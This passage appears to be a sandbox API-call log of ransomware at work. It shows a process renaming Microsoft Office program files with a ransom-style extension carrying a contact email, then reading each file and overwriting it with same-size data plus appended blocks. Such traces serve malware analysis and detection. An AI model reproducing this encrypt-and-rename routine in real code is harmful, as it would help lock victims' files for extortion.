[0184.797] GetProcessHeap () returned 0x630000 [0184.797] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726fa50 | out: hHeap=0x630000) returned 1 [0184.797] GetProcessHeap () returned 0x630000 [0184.797] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7264620 | out: hHeap=0x630000) returned 1 [0184.797] GetProcessHeap () returned 0x630000 [0184.797] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73188a0 | out: hHeap=0x630000) returned 1 [0184.797] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0184.798] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\PowerViewRes.gl.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13aced2b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3418ece3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f0bf, dwReserved0=0xa207496, dwReserved1=0x7264618, cFileName="PowerViewRes.gl.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0184.798] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0184.798] Sleep (dwMilliseconds=0x1) [0186.911] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx", len=0x50 | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx") returned 1 [0186.911] GetProcessHeap () returned 0x630000 [0186.911] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29c8) returned 0x707d3d0 [0186.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\minimalist.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0186.913] CloseHandle (hObject=0x6a4) returned 1 [0186.913] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0186.913] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\minimalist.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\minimalist.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0186.914] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0186.914] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2fcc, dwReserved0=0x650072, dwReserved1=0x330078, cFileName="minimalist.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MINIMA~1.FIR")) returned 0x6d5480 [0186.915] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0186.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\minimalist.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0186.915] GetProcessHeap () returned 0x630000 [0186.915] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2fe1) returned 0x705b9d0 [0186.915] GetProcessHeap () returned 0x630000 [0186.915] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2fe1) returned 0x705e9c0 [0186.915] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.915] ReadFile (in: hFile=0x6a4, lpBuffer=0x705b9d0, nNumberOfBytesToRead=0x2fc0, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x705b9d0*, lpNumberOfBytesRead=0x50fff0c*=0x2fc0, lpOverlapped=0x0) returned 1 [0188.901] GetProcessHeap () returned 0x630000 [0188.901] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0188.901] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.901] WriteFile (in: hFile=0x6a4, lpBuffer=0x705e9c0*, nNumberOfBytesToWrite=0x2fc0, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x705e9c0*, lpNumberOfBytesWritten=0x50fff0c*=0x2fc0, lpOverlapped=0x0) returned 1 [0188.901] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.901] WriteFile (in: hFile=0x6a4, lpBuffer=0x706197f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x706197f*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0188.902] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.902] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0188.902] CloseHandle (hObject=0x6a4) returned 1 [0188.902] GetProcessHeap () returned 0x630000 [0188.902] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x705e9c0 | out: hHeap=0x630000) returned 1 [0188.902] GetProcessHeap () returned 0x630000 [0188.902] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x705b9d0 | out: hHeap=0x630000) returned 1 [0188.902] GetProcessHeap () returned 0x630000 [0188.902] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0188.902] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0188.902] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\minimalist.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x368b9613, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2ff0, dwReserved0=0xa207496, dwReserved1=0x705b9c8, cFileName="minimalist.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MINIMA~1.FIR")) returned 0x6d4f80 [0188.902] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0188.903] Sleep (dwMilliseconds=0x1) [0191.165] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv", len=0x3e | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv") returned 1 [0191.165] GetProcessHeap () returned 0x630000 [0191.165] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45fc) returned 0x74656a8 [0191.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordcnvpxy.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0191.166] CloseHandle (hObject=0x68c) returned 1 [0191.166] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0191.166] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordcnvpxy.cnv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordcnvpxy.cnv.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0191.167] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wordcnvpxy.cnv.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORDCN~1.FIR")) returned 0x6d5380 [0191.168] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0191.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordcnvpxy.cnv.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0191.168] GetProcessHeap () returned 0x630000 [0191.168] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9a61) returned 0x72fd418 [0191.168] GetProcessHeap () returned 0x630000 [0191.168] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9a61) returned 0x7306e88 [0191.168] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.168] ReadFile (in: hFile=0x68c, lpBuffer=0x72fd418, nNumberOfBytesToRead=0x9a40, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72fd418*, lpNumberOfBytesRead=0x50fff0c*=0x9a40, lpOverlapped=0x0) returned 1 [0194.599] GetProcessHeap () returned 0x630000 [0194.599] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0194.600] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.600] WriteFile (in: hFile=0x68c, lpBuffer=0x7306e88*, nNumberOfBytesToWrite=0x9a40, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7306e88*, lpNumberOfBytesWritten=0x50fff0c*=0x9a40, lpOverlapped=0x0) returned 1 [0195.892] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.892] WriteFile (in: hFile=0x68c, lpBuffer=0x73108c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73108c7*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.892] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.892] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.893] CloseHandle (hObject=0x68c) returned 1 [0195.893] GetProcessHeap () returned 0x630000 [0195.893] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7306e88 | out: hHeap=0x630000) returned 1 [0195.893] GetProcessHeap () returned 0x630000 [0195.893] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72fd418 | out: hHeap=0x630000) returned 1 [0195.893] GetProcessHeap () returned 0x630000 [0195.893] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0196.295] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.295] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3ab5cdce, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9a64, dwReserved0=0xa207496, dwReserved1=0x778915ca, cFileName="Wordcnvpxy.cnv.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WORDCN~1.FIR")) returned 0x6d5240 [0196.295] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0196.295] Sleep (dwMilliseconds=0x1) [0196.324] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt", len=0x4e | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt") returned 1 [0196.324] GetProcessHeap () returned 0x630000 [0196.324] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4774) returned 0x7133a90 [0196.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\issues.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0196.342] CloseHandle (hObject=0x67c) returned 1 [0196.342] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.409] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\issues.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\issues.accdt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0196.410] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.411] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb67c092, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xae09, dwReserved0=0x330078, dwReserved1=0x6d, cFileName="Issues.accdt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ISSUES~1.FIR")) returned 0x6d4ec0 [0196.411] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0196.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\issues.accdt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0196.411] GetProcessHeap () returned 0x630000 [0196.411] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xae21) returned 0x7264620 [0196.412] GetProcessHeap () returned 0x630000 [0196.412] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xae21) returned 0x706cf78 [0196.412] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.412] ReadFile (in: hFile=0x67c, lpBuffer=0x7264620, nNumberOfBytesToRead=0xae00, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7264620*, lpNumberOfBytesRead=0x50fff0c*=0xae00, lpOverlapped=0x0) returned 1 [0202.684] GetProcessHeap () returned 0x630000 [0202.684] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0202.684] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.684] WriteFile (in: hFile=0x67c, lpBuffer=0x706cf78*, nNumberOfBytesToWrite=0xae00, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x706cf78*, lpNumberOfBytesWritten=0x50fff0c*=0xae00, lpOverlapped=0x0) returned 1 [0204.901] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.901] WriteFile (in: hFile=0x67c, lpBuffer=0x7077d77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7077d77*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0204.901] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.901] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0204.901] CloseHandle (hObject=0x67c) returned 1 [0204.901] GetProcessHeap () returned 0x630000 [0204.901] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x706cf78 | out: hHeap=0x630000) returned 1 [0204.901] GetProcessHeap () returned 0x630000 [0204.901] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7264620 | out: hHeap=0x630000) returned 1 [0204.901] GetProcessHeap () returned 0x630000 [0204.901] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0204.901] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0204.901] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Issues.accdt.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x40152f2c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xae2d, dwReserved0=0xa207496, dwReserved1=0x7264618, cFileName="Issues.accdt.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ISSUES~1.FIR")) returned 0x6d5340 [0204.902] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0204.902] Sleep (dwMilliseconds=0x1) [0207.010] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\BLUEPRNT.INF", len=0x70 | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\BLUEPRNT.INF") returned 1 [0207.010] GetProcessHeap () returned 0x630000 [0207.010] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4c50) returned 0x6fe4288 [0207.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\blueprnt.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0207.042] CloseHandle (hObject=0x6a8) returned 1 [0207.042] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0207.042] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\blueprnt.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\BLUEPRNT.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\blueprnt.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0207.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0207.044] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\BLUEPRNT.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="BLUEPRNT.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLUEPR~1.FIR")) returned 0x6d5340 [0207.044] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0207.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\BLUEPRNT.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\blueprnt\\blueprnt.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0207.045] GetProcessHeap () returned 0x630000 [0207.045] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x717e148 [0207.045] GetProcessHeap () returned 0x630000 [0207.045] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x699448 [0207.045] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0207.045] ReadFile (in: hFile=0x6a8, lpBuffer=0x717e148, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x717e148*, lpNumberOfBytesRead=0x50fff0c*=0x220, lpOverlapped=0x0) returned 1 [0207.048] GetProcessHeap () returned 0x630000 [0207.048] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, 